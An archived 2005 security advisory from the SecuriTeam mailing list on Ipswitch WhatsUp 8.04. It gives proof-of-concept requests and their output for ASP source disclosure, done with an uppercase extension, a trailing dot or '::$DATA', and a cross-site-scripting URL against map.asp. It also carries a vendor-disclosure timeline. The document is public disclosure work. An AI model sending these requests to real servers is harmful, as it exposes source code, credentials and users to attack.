

# [NT] Ipswitch Whatsup Multiple Vulnerabilities

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0046.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 09/13/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 13 Sep 2005 16:02:09 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Ipswitch Whatsup Multiple Vulnerabilities

---

## SUMMARY

<<http://www.ipswitch.com/products/network-management.asp>> Ipswitch WhatsUp delivers an "advanced network monitoring and mapping, flexible alerting and reporting, and secure web access with unparalleled ease of use".

Multiple vulnerabilities in Ipswitch's WhatsUp products allows an attacker to perform cross site scripting attacks and view the source code of the asp pages.

## DETAILS

### Vulnerable Systems:

- \* Ipswitch WhatsUp Small Business 2004 version 8.04
- \* Ipswitch WhatsUp Gold version 8.04

### Source Disclosure:

It is possible to view the source code of all files made public through the web server, by using uppercase after the ".". The proof of concept is shown with the default guest user that does not normally have privileges to view the "UserCreate.asp" file.

## Securiteam: [NT] Ipswitch Whatsup Multiple Vulnerabilities

Normal output:

<http://192.168.1.10/UserCreate.asp>

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<!--
Standard Header.asp
-->
<title>WhatsUp Gold – Error Unauthorized Access</title>
</head>
<body>
<h3>Error: Unauthorized Access.</h3>
<!--
Whatsup Gold
NavButtonsTop.asp
-----
```

Output from attack:

<http://192.168.1.10/UserCreate.ASP>

```
<%IF% IS_USER_CONFIGURE_USERS>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!--
Whatsup Gold
UserCreate.asp
-----
```

Display a simple combo box to add the user

```
-->
<HTML>
<HEAD>
<%include% StandardPageHeader.asp>
<TITLE>WhatsUp Gold – New User</TITLE>
</HEAD>
```

.

Source Disclosure via "." or "::\$DATA"

It is possible to view the source code of all files made public through the web server, by using a "." after the extension or using "::\$DATA" after the filename.extension

Proof of Concept:

The proof of concept is shown with the default guest user that does not normally have privileges to view the "UserCreate.asp" file.

Normal output:

<http://192.168.1.10:8022/SOHO/reports/GroupDeviceHealth.asp>

```
<html><head><link rel="stylesheet" style="text/css"
href="MainSmallBusinessCSS.css">
</head><body topmargin="0" bottommargin="0" rightmargin="0"
leftmargin="0">
<table background="images\HeaderBackground.gif" width="100%" border="0"
cellpadding="0" cellspacing="1">
```

## Securiteam: [NT] Ipswitch Whatsup Multiple Vulnerabilities

```
< tr nowrap> < td nowrap rowspan="3" valign="center">  
< img src="images/Health.gif" width="48" height="48" alt="Health  
Reports">< /td>  
< td nowrap width="10px" height="5">< /td> < td nowrap width="100%">< /td>
```

Output from attack:

<http://192.168.1.10:8022/SOHO/reports/GroupDeviceHealth.asp>  
[http://192.168.1.10:8022/SOHO/reports/GroupDeviceHealth.asp::\\$data](http://192.168.1.10:8022/SOHO/reports/GroupDeviceHealth.asp::$data)

```
< % @ language="javascript" %>  
< !--#include file="..\utility\Sql.inc"-->  
< !--#include file="..\utility\SohoSettings.inc"-->  
< %  
var nMaxDeviceCount = GetSohoMaxDeviceCount();  
//var oRs = ExecSQL(  
// "SELECT nDeviceID, sDisplayName "+  
// "FROM Device");  
var nDeviceGroupID = Request.QueryString("nDeviceGroupID");  
nDeviceGroupID=0;  
var oRs = ExecSQL(  
"SELECT Device.nDeviceID, sNetworkName, sNetworkAddress, "+  
"sMonitorTypeName,  
PivotActiveMonitorTypeToDevice.nPivotActiveMonitorTypeToDeviceID,  
nStateFillColor, "+  
"nInternalMonitorState, nInternalStateTime, MonitorState.nMonitorStateID,  
nWorstStateID,nDeviceTypeID "+  
"FROM PivotActiveMonitorTypeToDevice "+  
..
```

Attack description:

If an administrator are making customized web source the attacker can view this for usernames/passwords, or flaws into code, like SQL injection.

Cross Site Scripting in Map.asp – Using Guest account

The map.asp page does not filter metacharacters in the map parameter.

The test made here are done by using the none privileged "guest" account.

[http://host/map.asp?map=---< script>\(alert\(%27CIRT.DK%20XSS%27\)< /script>](http://host/map.asp?map=---< script>(alert(%27CIRT.DK%20XSS%27)< /script>)

Timeline of public disclosure:

01-08-2005 Vulnerability discovered

15-08-2005 Research completed

19-08-2005 Vendor notified

22-08-2005 Vendor tagged communication [T2005082202CV]

The only response was a mail asking for a Serial number of the installation, and since then radio silence.

30-08-2005 Asked for status

02-09-2005 Asked Again

06-09-2005 Notified vendor that if no response this would go public without further notice.

09-09-2005 Public disclosure

ADDITIONAL INFORMATION

Securiteam: [NT] Ipswitch Whatsup Multiple Vulnerabilities

The information has been provided by <mailto:advisory@cirt.dk> Dennis Rand.

The original article can be found at:

<<http://www.cirt.dk/advisories/cirt-34-advisory.pdf>>

<http://www.cirt.dk/advisories/cirt-34-advisory.pdf>,

<<http://www.cirt.dk/advisories/cirt-35-advisory.pdf>>

<http://www.cirt.dk/advisories/cirt-35-advisory.pdf>

And: <<http://www.cirt.dk/advisories/cirt-36-advisory.pdf>>

<http://www.cirt.dk/advisories/cirt-36-advisory.pdf>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.